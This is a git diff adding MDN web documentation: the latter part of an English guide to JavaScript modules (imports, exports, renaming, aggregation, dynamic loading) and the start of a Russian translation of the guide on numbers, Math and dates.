+<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre>
+
+<p>You use the {{JSxRef("Statements/import", "import")}} statement, followed by a comma-separated list of the features you want to import wrapped in curly braces, followed by the keyword from, followed by the path to the module file — a path relative to the site root, which for our <code>basic-modules</code> example would be <code>/js-examples/modules/basic-modules</code>.</p>
+
+<p>However, we've written the path a bit differently — we are using the dot (<code>.</code>) syntax to mean "the current location", followed by the path beyond that to the file we are trying to find. This is much better than writing out the entire relative path each time, as it is shorter, and it makes the URL portable — the example will still work if you move it to a different location in the site hierarchy.</p>
+
+<p>So for example:</p>
+
+<pre class="notranslate">/js-examples/modules/basic-modules/modules/square.js</pre>
+
+<p>becomes</p>
+
+<pre class="notranslate">./modules/square.js</pre>
+
+<p>You can see such lines in action in <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: In some module systems, you can omit the file extension and the leading <code>/</code>, <code>./</code>, or <code>../</code> (e.g. <code>'modules/square'</code>). This doesn't work in native JavaScript modules.</p>
+</div>
+
+<p>Once you've imported the features into your script, you can use them just like they were defined inside the same file. The following is found in <code>main.js</code>, below the import lines:</p>
+
+<pre class="brush: js; notranslate">let myCanvas = create('myCanvas', document.body, 480, 320);
+let reportList = createReportList(myCanvas.id);
+
+let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue');
+reportArea(square1.length, reportList);
+reportPerimeter(square1.length, reportList);
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note: </strong>Although imported features are available in the file, they are read only views of the feature that was exported. You cannot change the variable that was imported, but you can still modify properties similar to <code>const</code>. Additionally, these features are imported as live bindings, meaning that they can change in value even if you cannot modify the binding unlike <code>const</code>.</p>
+</div>
+
+<h2 id="Applying_the_module_to_your_HTML">Applying the module to your HTML</h2>
+
+<p>Now we just need to apply the <code>main.js</code> module to our HTML page. This is very similar to how we apply a regular script to a page, with a few notable differences.</p>
+
+<p>First of all, you need to include <code>type="module"</code> in the <a href="/en-US/docs/Web/HTML/Element/script" title="The HTML &lt;script> element is used to embed or reference executable code; this is typically used to embed or refer to JavaScript code."><code>&lt;script&gt;</code></a> element, to declare this script as a module. To import the <code>main.js</code> script, we use this:</p>
+
+<pre class="brush: html; no-line-numbers notranslate">&lt;script type="module" src="main.js"&gt;&lt;/script&gt;</pre>
+
+<p>You can also embed the module's script directly into the HTML file by placing the JavaScript code within the body of the <code>&lt;script&gt;</code> element:</p>
+
+<pre class="brush: js notranslate">&lt;script type="module"&gt;
+  /* JavaScript module code here */
+&lt;/script&gt;</pre>
+
+<p>The script into which you import the module features basically acts as the top-level module. If you omit it, Firefox for example gives you an error of "SyntaxError: import declarations may only appear at top level of a module".</p>
+
+<p>You can only use <code>import</code> and <code>export</code> statements inside modules, not regular scripts.</p>
+
+<h2 id="Other_differences_between_modules_and_standard_scripts">Other differences between modules and standard scripts</h2>
+
+<ul>
+ <li>You need to pay attention to local testing — if you try to load the HTML file locally (i.e. with a <code>file://</code> URL), you'll run into CORS errors due to JavaScript module security requirements. You need to do your testing through a server.</li>
+ <li>Also, note that you might get different behavior from sections of script defined inside modules as opposed to in standard scripts. This is because modules use {{JSxRef("Strict_mode", "strict mode", "", 1)}} automatically.</li>
+ <li>There is no need to use the <code>defer</code> attribute (see <a href="/en-US/docs/Web/HTML/Element/script#Attributes" title="The HTML &lt;script> element is used to embed or reference executable code; this is typically used to embed or refer to JavaScript code."><code>&lt;script&gt;</code> attributes</a>) when loading a module script; modules are deferred automatically.</li>
+ <li>Modules are only executed once, even if they have been referenced in multiple <code>&lt;script&gt;</code> tags.</li>
+ <li>Last but not least, let's make this clear — module features are imported into the scope of a single script — they aren't available in the global scope. Therefore, you will only be able to access imported features in the script they are imported into, and you won't be able to access them from the JavaScript console, for example. You'll still get syntax errors shown in the DevTools, but you'll not be able to use some of the debugging techniques you might have expected to use.</li>
+</ul>
+
+<h2 id="Default_exports_versus_named_exports">Default exports versus named exports</h2>
+
+<p>The functionality we've exported so far has been comprised of <strong>named exports</strong> — each item (be it a function, <code>const</code>, etc.) has been referred to by its name upon export, and that name has been used to refer to it on import as well.</p>
+
+<p>There is also a type of export called the <strong>default export</strong> — this is designed to make it easy to have a default function provided by a module, and also helps JavaScript modules to interoperate with existing CommonJS and AMD module systems (as explained nicely in <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 In Depth: Modules</a> by Jason Orendorff; search for "Default exports").</p>
+
+<p>Let's look at an example as we explain how it works. In our basic-modules <code>square.js</code> you can find a function called <code>randomSquare()</code> that creates a square with a random color, size, and position. We want to export this as our default, so at the bottom of the file we write this:</p>
+
+<pre class="brush: js; notranslate">export default randomSquare;</pre>
+
+<p>Note the lack of curly braces.</p>
+
+<p>We could instead prepend <code>export default</code> onto the function and define it as an anonymous function, like this:</p>
+
+<pre class="brush: js; notranslate">export default function(ctx) {
+  ...
+}</pre>
+
+<p>Over in our <code>main.js</code> file, we import the default function using this line:</p>
+
+<pre class="brush: js; notranslate">import randomSquare from './modules/square.js';</pre>
+
+<p>Again, note the lack of curly braces. This is because there is only one default export allowed per module, and we know that <code>randomSquare</code> is it. The above line is basically shorthand for:</p>
+
+<pre class="brush: js; notranslate">import {default as randomSquare} from './modules/square.js';</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The as syntax for renaming exported items is explained below in the <a href="#Renaming_imports_and_exports">Renaming imports and exports</a> section.</p>
+</div>
+
+<h2 id="Avoiding_naming_conflicts">Avoiding naming conflicts</h2>
+
+<p>So far, our canvas shape drawing modules seem to be working OK. But what happens if we try to add a module that deals with drawing another shape, like a circle or triangle? These shapes would probably have associated functions like <code>draw()</code>, <code>reportArea()</code>, etc. too; if we tried to import different functions of the same name into the same top-level module file, we'd end up with conflicts and errors.</p>
+
+<p>Fortunately there are a number of ways to get around this. We'll look at these in the following sections.</p>
+
+<h2 id="Renaming_imports_and_exports">Renaming imports and exports</h2>
+
+<p>Inside your <code>import</code> and <code>export</code> statement's curly braces, you can use the keyword <code>as</code> along with a new feature name, to change the identifying name you will use for a feature inside the top-level module.</p>
+
+<p>So for example, both of the following would do the same job, albeit in a slightly different way:</p>
+
+<pre class="brush: js; notranslate">// inside module.js
+export {
+  function1 as newFunctionName,
+  function2 as anotherNewFunctionName
+};
+
+// inside main.js
+import { newFunctionName, anotherNewFunctionName } from './modules/module.js';</pre>
+
+<pre class="brush: js; notranslate">// inside module.js
+export { function1, function2 };
+
+// inside main.js
+import { function1 as newFunctionName,
+         function2 as anotherNewFunctionName } from './modules/module.js';</pre>
+
+<p>Let's look at a real example. In our <a href="https://github.com/mdn/js-examples/tree/master/modules/renaming">renaming</a> directory you'll see the same module system as in the previous example, except that we've added <code>circle.js</code> and <code>triangle.js</code> modules to draw and report on circles and triangles.</p>
+
+<p>Inside each of these modules, we've got features with the same names being exported, and therefore each has the same <code>export</code> statement at the bottom:</p>
+
+<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>When importing these into <code>main.js</code>, if we tried to use</p>
+
+<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/circle.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';</pre>
+
+<p>The browser would throw an error such as "SyntaxError: redeclaration of import name" (Firefox).</p>
+
+<p>Instead we need to rename the imports so that they are unique:</p>
+
+<pre class="brush: js; notranslate">import { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter } from './modules/square.js';
+
+import { name as circleName,
+         draw as drawCircle,
+         reportArea as reportCircleArea,
+         reportPerimeter as reportCirclePerimeter } from './modules/circle.js';
+
+import { name as triangleName,
+        draw as drawTriangle,
+        reportArea as reportTriangleArea,
+        reportPerimeter as reportTrianglePerimeter } from './modules/triangle.js';</pre>
+
+<p>Note that you could solve the problem in the module files instead, e.g.</p>
+
+<pre class="brush: js; notranslate">// in square.js
+export { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter };</pre>
+
+<pre class="brush: js; notranslate">// in main.js
+import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.js';</pre>
+
+<p>And it would work just the same. What style you use is up to you, however it arguably makes more sense to leave your module code alone, and make the changes in the imports. This especially makes sense when you are importing from third party modules that you don't have any control over.</p>
+
+<h2 id="Creating_a_module_object">Creating a module object</h2>
+
+<p>The above method works OK, but it's a little messy and longwinded. An even better solution is to import each module's features inside a module object. The following syntax form does that:</p>
+
+<pre class="brush: js; notranslate">import * as Module from './modules/module.js';</pre>
+
+<p>This grabs all the exports available inside <code>module.js</code>, and makes them available as members of an object <code>Module</code>, effectively giving it its own namespace. So for example:</p>
+
+<pre class="brush: js; notranslate">Module.function1()
+Module.function2()
+etc.</pre>
+
+<p>Again, let's look at a real example. If you go to our <a href="https://github.com/mdn/js-examples/tree/master/modules/module-objects">module-objects</a> directory, you'll see the same example again, but rewritten to take advantage of this new syntax. In the modules, the exports are all in the following simple form:</p>
+
+<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>The imports on the other hand look like this:</p>
+
+<pre class="brush: js; notranslate">import * as Canvas from './modules/canvas.js';
+
+import * as Square from './modules/square.js';
+import * as Circle from './modules/circle.js';
+import * as Triangle from './modules/triangle.js';</pre>
+
+<p>In each case, you can now access the module's imports underneath the specified object name, for example:</p>
+
+<pre class="brush: js; notranslate">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue');
+Square.reportArea(square1.length, reportList);
+Square.reportPerimeter(square1.length, reportList);</pre>
+
+<p>So you can now write the code just the same as before (as long as you include the object names where needed), and the imports are much neater.</p>
+
+<h2 id="Modules_and_classes">Modules and classes</h2>
+
+<p>As we hinted at earlier, you can also export and import classes; this is another option for avoiding conflicts in your code, and is especially useful if you've already got your module code written in an object-oriented style.</p>
+
+<p>You can see an example of our shape drawing module rewritten with ES classes in our <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a> directory. As an example, the <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.js</a></code> file now contains all its functionality in a single class:</p>
+
+<pre class="brush: js; notranslate">class Square {
+  constructor(ctx, listId, length, x, y, color) {
+    ...
+  }
+
+  draw() {
+    ...
+  }
+
+  ...
+}</pre>
+
+<p>which we then export:</p>
+
+<pre class="brush: js; notranslate">export { Square };</pre>
+
+<p>Over in <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.js</a></code>, we import it like this:</p>
+
+<pre class="brush: js; notranslate">import { Square } from './modules/square.js';</pre>
+
+<p>And then use the class to draw our square:</p>
+
+<pre class="brush: js; notranslate">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+square1.draw();
+square1.reportArea();
+square1.reportPerimeter();</pre>
+
+<h2 id="Aggregating_modules">Aggregating modules</h2>
+
+<p>There will be times where you'll want to aggregate modules together. You might have multiple levels of dependencies, where you want to simplify things, combining several submodules into one parent module. This is possible using export syntax of the following forms in the parent module:</p>
+
+<pre class="brush: js; notranslate">export * from 'x.js'
+export { name } from 'x.js'</pre>
+
+<p>For an example, see our <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a> directory. In this example (based on our earlier classes example) we've got an extra module called <code>shapes.js</code>, which aggregates all the functionality from <code>circle.js</code>, <code>square.js</code>, and <code>triangle.js</code> together. We've also moved our submodules inside a subdirectory inside the <code>modules</code> directory called <code>shapes</code>. So the module structure in this example is:</p>
+
+<pre class="notranslate">modules/
+  canvas.js
+  shapes.js
+  shapes/
+    circle.js
+    square.js
+    triangle.js</pre>
+
+<p>In each of the submodules, the export is of the same form, e.g.</p>
+
+<pre class="brush: js; notranslate">export { Square };</pre>
+
+<p>Next up comes the aggregation part. Inside <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.js</a></code>, we include the following lines:</p>
+
+<pre class="brush: js; notranslate">export { Square } from './shapes/square.js';
+export { Triangle } from './shapes/triangle.js';
+export { Circle } from './shapes/circle.js';</pre>
+
+<p>These grab the exports from the individual submodules and effectively make them available from the <code>shapes.js</code> module.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The exports referenced in <code>shapes.js</code> basically get redirected through the file and don't really exist there, so you won't be able to write any useful related code inside the same file.</p>
+</div>
+
+<p>So now in the <code>main.js</code> file, we can get access to all three module classes by replacing</p>
+
+<pre class="brush: js; notranslate">import { Square } from './modules/square.js';
+import { Circle } from './modules/circle.js';
+import { Triangle } from './modules/triangle.js';</pre>
+
+<p>with the following single line:</p>
+
+<pre class="brush: js; notranslate">import { Square, Circle, Triangle } from './modules/shapes.js';</pre>
+
+<h2 id="Dynamic_module_loading">Dynamic module loading</h2>
+
+<p>The newest part of the JavaScript modules functionality to be available in browsers is dynamic module loading. This allows you to dynamically load modules only when they are needed, rather than having to load everything up front. This has some obvious performance advantages; let's read on and see how it works.</p>
+
+<p>This new functionality allows you to call {{JSxRef("Statements/import", "import()", "#Dynamic_Imports")}} as a function, passing it the path to the module as a parameter. It returns a {{JSxRef("Promise")}}, which fulfills with a module object (see <a href="#Creating_a_module_object">Creating a module object</a>) giving you access to that object's exports, e.g.</p>
+
+<pre class="brush: js; notranslate">import('./modules/myModule.js')
+  .then((module) =&gt; {
+    // Do something with the module.
+  });</pre>
+
+<p>Let's look at an example. In the <a href="https://github.com/mdn/js-examples/tree/master/modules/dynamic-module-imports">dynamic-module-imports</a> directory we've got another example based on our classes example. This time however we are not drawing anything on the canvas when the example loads. Instead, we include three buttons — "Circle", "Square", and "Triangle" — that, when pressed, dynamically load the required module and then use it to draw the associated shape.</p>
+
+<p>In this example we've only made changes to our <code><a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/index.html">index.html</a></code> and <code><a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/main.mjs">main.js</a></code> files — the module exports remain the same as before.</p>
+
+<p>Over in <code>main.js</code> we've grabbed a reference to each button using a <a href="/en-US/docs/Web/API/Document/querySelector"><code>Document.querySelector()</code></a> call, for example:</p>
+
+<pre class="brush: js; notranslate">let squareBtn = document.querySelector('.square');</pre>
+
+<p>We then attach an event listener to each button so that when pressed, the relevant module is dynamically loaded and used to draw the shape:</p>
+
+<pre class="brush: js; notranslate">squareBtn.addEventListener('click', () =&gt; {
+  import('./modules/square.js').then((Module) =&gt; {
+    let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+    square1.draw();
+    square1.reportArea();
+    square1.reportPerimeter();
+  })
+});</pre>
+
+<p>Note that, because the promise fulfillment returns a module object, the class is then made a subfeature of the object, hence we now need to access the constructor with <code>Module.</code> prepended to it, e.g. <code>Module.Square( ... )</code>.</p>
+
+<h2 id="Troubleshooting">Troubleshooting</h2>
+
+<p>Here are a few tips that may help you if you are having trouble getting your modules to work. Feel free to add to the list if you discover more!</p>
+
+<ul>
+ <li>We mentioned this before, but to reiterate: <code>.js</code> files need to be loaded with a MIME-type of <code>text/javascript</code> (or another JavaScript-compatible MIME-type, but <code>text/javascript</code> is recommended), otherwise you'll get a strict MIME type checking error like "The server responded with a non-JavaScript MIME type".</li>
+ <li>If you try to load the HTML file locally (i.e. with a <code>file://</code> URL), you'll run into CORS errors due to JavaScript module security requirements. You need to do your testing through a server. GitHub pages is ideal as it also serves <code>.js</code> files with the correct MIME type.</li>
+ <li>Because <code>.mjs</code> is a non-standard file extension, some operating systems might not recognise it, or try to replace it with something else. For example, we found that macOS was silently adding on <code>.js</code> to the end of <code>.mjs</code> files and then automatically hiding the file extension. So all of our files were actually coming out as <code>x.mjs.js</code>. Once we turned off automatically hiding file extensions, and trained it to accept <code>.mjs</code>, it was OK.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/fundamentals/primers/modules#mjs">Using JavaScript modules on the web</a>, by Addy Osmani and Mathias Bynens</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li>Axel Rauschmayer's book <a href="http://exploringjs.com/es6/ch_modules.html">Exploring JS: Modules</a></li>
+</ul>
+
+<p>{{Previous("Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/ru/web/javascript/guide/numbers_and_dates/index.html b/files/ru/web/javascript/guide/numbers_and_dates/index.html
new file mode 100644
index 0000000000..7022834e0d
--- /dev/null
+++ b/files/ru/web/javascript/guide/numbers_and_dates/index.html
@@ -0,0 +1,378 @@
+---
+title: Числа и даты
+slug: Web/JavaScript/Guide/Numbers_and_dates
+translation_of: Web/JavaScript/Guide/Numbers_and_dates
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</div>
+
+<p class="summary">Данный раздел представляет собой введение в работу с числами и датами в JavaScript.</p>
+
+<h2 id="Числа">Числа</h2>
+
+<p>В JavaScript все числа являются <a class="external external-icon" href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">числами двойной точности в соответствии с 64-битным двоичным форматом IEEE 754</a> (т.е. числами, пренадлежащими диапазону между -(2<sup>53</sup> -1) и 2<sup>53</sup> -1). <strong>Целые числа не рассматриваются как отдельный тип чисел</strong>. В дополнение к числам с плавающей запятой, к числовому типу данных относятся также три символьные величины: <code>+</code>{{jsxref("бесконечность")}}, <code>-</code>{{jsxref("бесконечность")}}, и {{jsxref("NaN")}} (не-число). В разделе <a href="/en-US/docs/Web/JavaScript/Data_structures">типы и структуры данных в JavaScript</a> числовой тип данных описан в контексте с другими примитивными типами в JavaScript.</p>
+
+<p>Вы можете использовать четыре типа числовых литералов: десятичный, двоичный, восьмеричный и шестнадцатеричный.</p>
+
+<h3 id="Десятичные_числа">Десятичные числа</h3>
+
+<pre class="brush: js">1234567890
+42
+
+// Будьте внимательны при использование нулей в начале чисел:
+
+0888 // 888 обрабатывается как десятичное
+0777 // обрабатывается как восьмеричное в нестрогой форме (511 в десятичной)
+</pre>
+
+<p>Обратите внимание, что десятичные литералы могут начинаться с нуля (<code>0</code>) за которым следует другая десятичная цифра, но если следующая за нулем цифра меньше 8, то число обрабатывается как восьмеричное.</p>
+
+<h3 id="Двоичные_числа">Двоичные числа</h3>
+
+<p>Систаксис двоичных чисел использует ведущий 0 за которым следует латинская буква "B" в верхнем или нижнем регистре (<code>0b</code> or <code>0B</code>). Если цифры после <code>0b</code> не являются 0 или 1, то будет сгенерированно <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> с сообщением: "Missing binary digits after 0b".</p>
+
+<pre class="brush: js">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h3 id="Восьмеричные_числа">Восьмеричные числа</h3>
+
+<p>Синтаксис восмеричных чисел использует ноль в начале. Если цифры после 0 не входят в диапазон от 0 до 7, число будет интерпретированно как десятичное.</p>
+
+<pre class="brush: js">var n = 0755; // 493
+var m = 0644; // 420
+</pre>
+
+<h3 id="Шестнадцатеричные_числа">Шестнадцатеричные числа</h3>
+
+<p>Синтаксис  шестнадцатеричных чисел исользует ведущий 0 за которым следует латинская буква "X" в верхнем или нижнем регистре (<code>0x</code> or <code>0X</code>). Если цифры после 0x не входят в диапазон (0123456789ABCDEF),  то будет сгенерированно <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> с сообщением: "Identifier starts immediately after numeric literal".</p>
+
+<pre class="brush: js">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h2 id="Объект_Number">Объект Number</h2>
+
+<p>У этого встроенного объекта {{jsxref("Number")}} есть свойства для целочисленных констант, таких как максимальное число, не-число и бесконечность. Вы не можете изменить значения этих свойств, и Вы должны использовать их следующим образом:</p>
+
+<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<p>Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределенного глобального объекта <code>Number</code>. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. </p>
+
+<p>В следующей таблице приведен список свойств объекта <code>Number</code>.</p>
+
+<table class="standard-table">
+ <caption>Свойства объекта <code>Number</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.MAX_VALUE")}}</td>
+   <td>Наибольшее число из возможных для представления</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_VALUE")}}</td>
+   <td>Наименьшее число из возможных для представления</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NaN")}}</td>
+   <td>Специальное "Не числовое" ("not a number") значение</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NEGATIVE_INFINITY")}}</td>
+   <td>Специальное значение "Минус бесконечность"; возвращается при переполнении</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.POSITIVE_INFINITY")}}</td>
+   <td>Специальное значение "Плюс бесконечность"; возвращается при переполнении</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.EPSILON")}}</td>
+   <td>Разница между единицей и наименьшим значением, большим единицы, которое может быть представлено типом {{jsxref("Number")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_SAFE_INTEGER")}}</td>
+   <td>Минимальное целое, безопасное число в JavaScript.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MAX_SAFE_INTEGER")}}</td>
+   <td>Максимальное целое, безопасное число в JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Методы объекта <code>Number</code></caption>
+ <thead>
+  <tr>
+   <th>Метод</th>
+   <th>Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.parseFloat()")}}</td>
+   <td>Принимает строку как аргумент, и возвращает числовое значение с плавающей точкой, которое удалось распознать.<br>
+    Тоже самое что и глобальная функция {{jsxref("parseFloat", "parseFloat()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.parseInt()")}}</td>
+   <td>Принимает строку как аргумент, и возвращает целочисленное значение в заданной системе исчисления, которое удалось распознать.<br>
+    Тоже самое что и глобальная функция {{jsxref("parseInt", "parseInt()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isFinite()")}}</td>
+   <td>Определяет, является ли число, переданное в качестве аргумента, конечным.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isInteger()")}}</td>
+   <td>Определяет, является ли число, переданное в качестве аргумента, целым.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isNaN()")}}</td>
+   <td>Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надежный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isSafeInteger()")}}</td>
+   <td>Определяет, является ли .число, переданное в качестве аргумента, целым и безопасным.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Прототип </font>Number</code> предоставляет ряд методов, для получения значения числа в различных форматах. В следующей таблице перечислены методы, доступные через <code>Number.prototype</code>.</p>
+
+<table class="standard-table">
+ <caption>Методы <code>Number.prototype</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Метод</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.toExponential", "toExponential()")}}</td>
+   <td>Возвращает строку, представляющую число в экспоненциальном представлении.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toFixed", "toFixed()")}}</td>
+   <td>Возвращает строку, представляющую число с заданным количеством разрядов после запятой.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toPrecision", "toPrecision()")}}</td>
+   <td>Возвращает строку, представляющую число с указанной точностью.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Объект_Math"><code>Объект Math</code></h2>
+
+<p>Встроенный глобальный объект {{jsxref("Math")}} содержит свойства и методы для математических констант и функций. Например, свойство объекта <code>Math </code><code>PI</code> содержит значение математической константы "Пи" (3.141...), которые вы можете использовать в программе как</p>
+
+<pre class="brush: js">Math.PI
+</pre>
+
+<p>Подобным образом, математические функции являются методами объекта <code>Math</code>. Они включают тригонометрические, логорифмические, экспоненциальные и другие функции. Например, если вы хотите использовать тригонометрическую функцию синуса, вы напишете следующий код</p>
+
+<pre class="brush: js">Math.sin(1.56)
+</pre>
+
+<p>Заметьте, что все тригонометрические методы объекта <code>Math</code> принимают аргументы в радианах.</p>
+
+<p>В следующей таблице перечислены методы объекта <code>Math</code>.</p>
+
+<table class="standard-table">
+ <caption>Методы объекта <code>Math</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Метод</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Math.abs", "abs()")}}</td>
+   <td>Возвращает абсолютное значение (модуль) аргумента</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}</td>
+   <td>Стандартные тригонометрические функции; принимают аргументы в радианах</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}</td>
+   <td>Обратные тригонометрические функции; возвращают значения в радианах</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}</td>
+   <td>Гиперболические тригонометрические функции; принимают аргументы в гиперболических углах</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}</td>
+   <td>Обратные гиперболические тригонометрические функции; возвращают значения в гиперболических углах</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}</p>
+   </td>
+   <td>Экпоненциальные и логорифмические функции</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}</td>
+   <td>Возвращают наибольшее/наименьшее целое, которое меньше/больше или равно входному значению</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}</td>
+   <td>Возвращают наибольшее или наименьшее (соответственно) из входных числовых значений, перечисленных через запятую</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.random", "random()")}}</td>
+   <td>Возвращает случайное число от 0 до 1</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},</td>
+   <td>Функции округления и отсечения дробной части</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}</td>
+   <td>Корень квадратный, корень кубический, корень квадратный из суммы квадратов аргументов</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sign", "sign()")}}</td>
+   <td>Знак числа, показывает является ли входное число позитивным, негативным или равным нулю</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.clz32", "clz32()")}},<br>
+    {{jsxref("Math.imul", "imul()")}}</td>
+   <td>Количество первых нулевых бит в 32-битном двоичном представлении.<br>
+    Возвращает результат Cи-подобного 32-битного целочисленного умножения двух аргументов.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В отличии от большинства других объектов, вам не нужно создавать свои экземпляры объекта <code>Math</code>. Всегда следует использовать глобальный объект <code>Math</code> непосредственно.</p>
+
+<h2 id="Объект_Date"><code>Объект Date</code></h2>
+
+<p>JavaScript не имеет отдельного типа данных для хранения дат. Однако, вы можете использовать объект {{jsxref("Date")}} и его методы для работы с датами и времененем в вашем приложении. Объект <code>Date</code> имеет большое количество методов для записи, чтения и оперирования датой и временем, а свойств не имеет ни одного.</p>
+
+<p>JavaScript оперирует датами во многом аналогично языку Java. Для работы с датой эти два языка имеют множество одинаковых методов, и оба они хранят даты как количество миллисекунд, прошедших с 00:00:00 1 Января 1970 года.</p>
+
